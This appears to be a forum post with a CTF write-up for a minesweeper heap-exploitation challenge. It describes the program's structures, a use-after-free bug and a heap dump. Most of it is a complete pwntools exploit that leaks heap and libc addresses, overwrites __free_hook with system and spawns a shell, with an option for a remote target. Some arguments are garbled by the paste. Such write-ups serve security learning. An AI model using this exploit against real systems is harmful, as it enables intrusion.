首页
社区
课程
招聘
ctf2018-第14题
发表于: 2018-7-13 19:45 2365

ctf2018-第14题

2018-7-13 19:45
2365
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// 0x10
struct st_state
{
    char steps;
    char padding[15];
};
 
// 0x30
struct st_mine
{
    st_state *state; // 0x10
    __int64 inited;
    char *p_n_n; // 0x40, 8*8
    __int64 win;
    char *mines; // 0x40, 8*8
    char *name; //0x20
};
 
game_new:
    g_n = 8;
    g_mine_count = 30;
    if ( g_mine && g_mine->inited )
        return 1;
    g_mine = malloc(0x30);
    g_mine->name = malloc(0x20);
    g_mine->state = malloc(0x10);
    g_mine->p_n_n = malloc(g_n * g_n);
    g_mine->mines = malloc(g_n * g_n);
    g_mine->inited = 1;
    return 0
 
game_free:
    free(g_mine->mines);
    free(g_mine->p_n_n);
    g_mine->inited = 0;
    free(g_mine);
 
feed_back:
    size = read_int();
    buf = malloc(size);
    read_bytes(buf, size);
    free(buf);
 
game_win:
    read_bytes(g_mine->name, 0x20); 可以用来修改free_hook
 
game_explore:
    g_mine->p_n_n[x][y]++ 或者 g_mine->p_n_n[x][y]--
 
game_free之后, 立即feed_back(0x30), 修改inited, 那么就是UAF了

内存布局
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
g_mine
00005655266BC000  00 00 00 00 00 00 00 00  41 00 00 00 00 00 00 00  ........A.......
00005655266BC010  80 C0 6B 26 55 56 00 00  01 00 00 00 00 00 00 00  ...&UV..........
00005655266BC020  A0 C0 6B 26 55 56 00 00  00 00 00 00 00 00 00 00  ...&UV..........
00005655266BC030  F0 C0 6B 26 55 56 00 00  50 C0 6B 26 55 56 00 00  ....UV..P..&UV..
g_mine->name
00005655266BC040  00 00 00 00 00 00 00 00  31 00 00 00 00 00 00 00  ........1.......
00005655266BC050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00005655266BC060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
g_mine->state
00005655266BC070  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
g_mine->p_n_n(fd=g_mine->mines when freed)
00005655266BC090  00 00 00 00 00 00 00 00  51 00 00 00 00 00 00 00  ........Q.......
00005655266BC0A0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00005655266BC0B0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00005655266BC0C0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00005655266BC0D0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
g_mine->mines
00005655266BC0E0  00 00 00 00 00 00 00 00  51 00 00 00 00 00 00 00  ........Q.......
00005655266BC0F0  00 00 01 00 00 00 00 00  01 01 00 01 00 00 00 01  ................
00005655266BC100  00 01 01 00 00 00 00 01  00 00 01 01 01 00 00 00  ................
00005655266BC110  00 01 00 01 00 01 01 01  01 00 00 01 00 01 01 01  ................
00005655266BC120  01 00 01 00 00 01 01 01  00 01 01 01 00 00 00 01  ................
g_mine_info
00005655266BC130  00 00 00 00 00 00 00 00  51 00 00 00 00 00 00 00  ........Q.......
00005655266BC140  90 C1 6B 26 55 56 00 00  B0 C1 6B 26 55 56 00 00  ...&UV.....&UV..
00005655266BC150  D0 C1 6B 26 55 56 00 00  F0 C1 6B 26 55 56 00 00  ..k&UV......UV..
00005655266BC160  10 C2 6B 26 55 56 00 00  30 C2 6B 26 55 56 00 00  ...&UV..0..&UV..
00005655266BC170  50 C2 6B 26 55 56 00 00  70 C2 6B 26 55 56 00 00  P..&UV..p..&UV..
 
00005655266BC180  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC190  2A 32 2A 33 2A 58 2A 32  2A 31 2A 20 2A 31 2A 31  *2*3*X*2*1* *1*1
00005655266BC1A0  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC1B0  2A 58 2A 58 2A 35 2A 58  2A 31 2A 20 2A 32 2A 58  *X*X*5*X*1* *2*X
00005655266BC1C0  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC1D0  2A 33 2A 58 2A 58 2A 35  2A 33 2A 31 2A 32 2A 58  *3*X*X*5*3*1*2*X
00005655266BC1E0  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC1F0  2A 32 2A 34 2A 58 2A 58  2A 58 2A 33 2A 34 2A 33  *2*4*X*X*X*3*4*3
00005655266BC200  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC210  2A 32 2A 58 2A 35 2A 58  2A 36 2A 58 2A 58 2A 58  *2*X*5*X*6*X*X*X
00005655266BC220  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC230  2A 58 2A 34 2A 34 2A 58  2A 35 2A 58 2A 58 2A 58  *X*4*4*X*5*X*X*X
00005655266BC240  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC250  2A 58 2A 35 2A 58 2A 34  2A 34 2A 58 2A 58 2A 58  *X*5*X*4*4*X*X*X
00005655266BC260  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC270  2A 32 2A 58 2A 58 2A 58  2A 32 2A 32 2A 34 2A 58  *2*X*X*X*2*2*4*X
freed ptr
00005655266BC280  00 00 00 00 00 00 00 00  61 00 00 00 00 00 00 00  ........a.......
00005655266BC290  00 00 00 00 00 00 00 00  10 C3 6B 26 55 56 00 00  ...........&UV..
00005655266BC2A0  30 C3 6B 26 55 56 00 00  50 C3 6B 26 55 56 00 00  0..&UV..P..&UV..
00005655266BC2B0  70 C3 6B 26 55 56 00 00  90 C3 6B 26 55 56 00 00  p..&UV.....&UV..
00005655266BC2C0  B0 C3 6B 26 55 56 00 00  D0 C3 6B 26 55 56 00 00  ...&UV....k&UV..
00005655266BC2D0  F0 C3 6B 26 55 56 00 00  10 C4 6B 26 55 56 00 00  ....UV.....&UV..
freed ptr[10]
00005655266BC2E0  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC2F0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00005655266BC300  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC310  E0 C2 6B 26 55 56 00 00  00 00 00 00 00 00 00 00  ...&UV..........
00005655266BC320  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC330  00 C3 6B 26 55 56 00 00  01 00 00 00 00 00 00 00  ...&UV..........
00005655266BC340  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC350  20 C3 6B 26 55 56 00 00  01 00 00 00 00 00 00 00   ..&UV..........
00005655266BC360  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC370  40 C3 6B 26 55 56 00 00  00 00 00 00 00 00 00 00  @..&UV..........
00005655266BC380  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC390  60 C3 6B 26 55 56 00 00  01 00 00 00 00 00 00 00  `..&UV..........
00005655266BC3A0  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC3B0  80 C3 6B 26 55 56 00 00  01 00 00 00 00 00 00 00  ...&UV..........
00005655266BC3C0  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC3D0  A0 C3 6B 26 55 56 00 00  01 00 00 00 00 00 00 00  ...&UV..........
00005655266BC3E0  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC3F0  C0 C3 6B 26 55 56 00 00  01 00 00 00 00 00 00 00  ..k&UV..........
00005655266BC400  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC410  E0 C3 6B 26 55 56 00 00  00 00 00 00 00 00 00 00  ...&UV..........
00005655266BC420  00 00 00 00 00 00 00 00  E1 0B 02 00 00 00 00 00

exp(首两个位置无雷时成功)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
from pwn import *
 
# context.log_level = 'debug'
 
target_file = './minesweep'
# context.binary = target_file
 
REMOTE = False
if REMOTE:
    libc_path = './libc.so.6'
else:
    libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_path)
 
 
def get_io():
    if REMOTE:
        return remote('139.199.99.130'8686)
    else:
        # return process(['./linux_server64'])
        return process([target_file])
 
 
def x_recv_mine_info(io, mine_offset=0, ary=None, display_offset=0):
    io.recvuntil('----------------------\n')
    io.recvuntil('----------------------\n')
    = ''
    for in range(8):
        = io.recvn(24)
        io.recvline()
        if mine_offset == i:
            = z
    io.recvuntil('----------------------\n')
    # print s.encode('hex')
    if ary is not None:
        for in range(0len(s), 3):
            ary[i / 3 * 2 + display_offset] = s[i]
    return
 
 
def array_to_int(ary, offset, length):
    = ''
    for in ary[offset:offset+length]:
        += _
    return u64(s)
 
 
def x_game_start(io):
    io.sendlineafter('$ ''1')
    x_recv_mine_info(io)
    return
 
 
def x_game_back(io):
    io.sendline('back\x00')
    return
 
 
def x_game_quit(io):
    io.sendline('out\x00')
    return
 
 
def x_game_explore(io, x, y, z, mine_offset=0, ary=None, display_offset=0):
    io.sendline('explore')
    io.sendline('%s %s %s' % (x, y, z))
    x_recv_mine_info(io, mine_offset=mine_offset, ary=ary, display_offset=display_offset)
    return
 
 
def x_feed_back(io, buf, buf_len):
    io.sendlineafter('$ ''2')
    io.sendlineafter('feed back:'str(buf_len))
    if len(buf) == buf_len:
        io.send(buf)
    else:
        io.sendline(buf)
    return
 
 
def step1(io):
    # free(g_mine)
    x_game_start(io)
    x_game_quit(io)
    # g_mine->inited = 1, UAF
    # g_mine = heap + 0x10
    # g_mine->p_n_n = heap + 0x20
    buf = ''
    buf += p64(0)
    buf += p64(1)  # inited
    buf += p8(0x20)  # *p=&p
    x_feed_back(io, buf, 0x30)
    # g_mine->p_n_n = heap + 0x1XX
    x_game_start(io)
    x_game_explore(io, 121)
    x_game_back(io)
    # g_mine->p_n_n = heap_base + 0x178 = g_mine_info[7] (last mine info)
    buf = ''
    buf += p64(0)
    buf += p64(1)  # inited
    buf += p8(0x78)
    x_feed_back(io, buf, 0x30)
 
    # print heap_base + 0x370 (fast bin)
    ary = [0* 16
    x_game_start(io)
    # g_mine_info[7]: heap + 0x270 -> heap + 0x370, print
    x_game_explore(io, 121, mine_offset=7, ary=ary, display_offset=0)
    # g_mine_info[7]: heap + 0x370 -> heap + 0x371, print
    x_game_explore(io, 111, mine_offset=7, ary=ary, display_offset=1)
    x_game_back(io)
    heap_addr = array_to_int(ary, 08)
    heap_base = heap_addr - 0x340
    print('heap_base: %s' % hex(heap_base))
    return heap_base
 
 
def step2(io, heap_base):
    # clear fast bin
    x_feed_back(io, 'z'0x80)
 
    # [heap_base + 0xA0] = main_arena_top
    buf = ''
    buf += p64(0)
    buf += p64(1)  # inited
    buf += p64(heap_base + 0x148)  # g_mine_info[1]
    x_feed_back(io, buf, 0x30)
 
    ary = [0* 16
    x_game_start(io)
    # g_mine_info[1]: heap + 0x1B0 -> heap + 0x0B0
    x_game_explore(io, 120)
    for in range(16):
        if == 14:
            # g_mine_info[1]: heap +0x0A1
            x_game_explore(io, 110, mine_offset=1, ary=ary, display_offset=1)
        elif == 15:
            # g_mine_info[1]: heap +0x0A0
            x_game_explore(io, 110, mine_offset=1, ary=ary, display_offset=0)
        else:
            x_game_explore(io, 110)
    x_game_back(io)
 
    libc_addr = array_to_int(ary, 08)
    if REMOTE:
        libc_base = libc_addr - (libc.symbols['__malloc_hook'- 0x40 + 0xB8)
    else:
        libc_base = libc_addr - (libc.symbols['__malloc_hook'- 0x10 + 0x78)
    print('libc_base: %s' % hex(libc_base))
    return libc_base
 
 
def step3(io, heap_base, libc_base):
    # g_mine->name = free_hook
    buf = ''
    buf += p64(0)
    buf += p64(1)  # inited
    buf += p64(heap_base + 0xA0)
    buf += p64(1)  # win flag
    buf += p64(heap_base + 0xF0)
    buf += p64(libc_base + libc.symbols['__free_hook'])
    x_feed_back(io, buf, 0x30)
    # [free_hook] = system
    x_game_start(io)
    x_game_explore(io, 113)
    io.recvuntil('my hero')
    io.sendline(p64(libc_base + libc.symbols['system']))
    x_game_back(io)
    # free() -> system('/bin/sh')
    x_feed_back(io, '/bin/sh\x00'8)
    return
 
 
def exploit():
    while True:
        io = get_io()
        try:
            heap_base = step1(io)
            # raw_input()
            libc_base = step2(io, heap_base)
            # raw_input()
            step3(io, heap_base, libc_base)
            io.interactive()
            break
        except Exception as e:
            # print e
            # break
            sleep(0.1)
            io.close()
    return
 
 
exploit()



[注意]看雪招聘,专注安全领域的专业人才平台!

最后于 2018-7-13 21:34 被风间仁编辑 ,原因:
收藏
免费
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册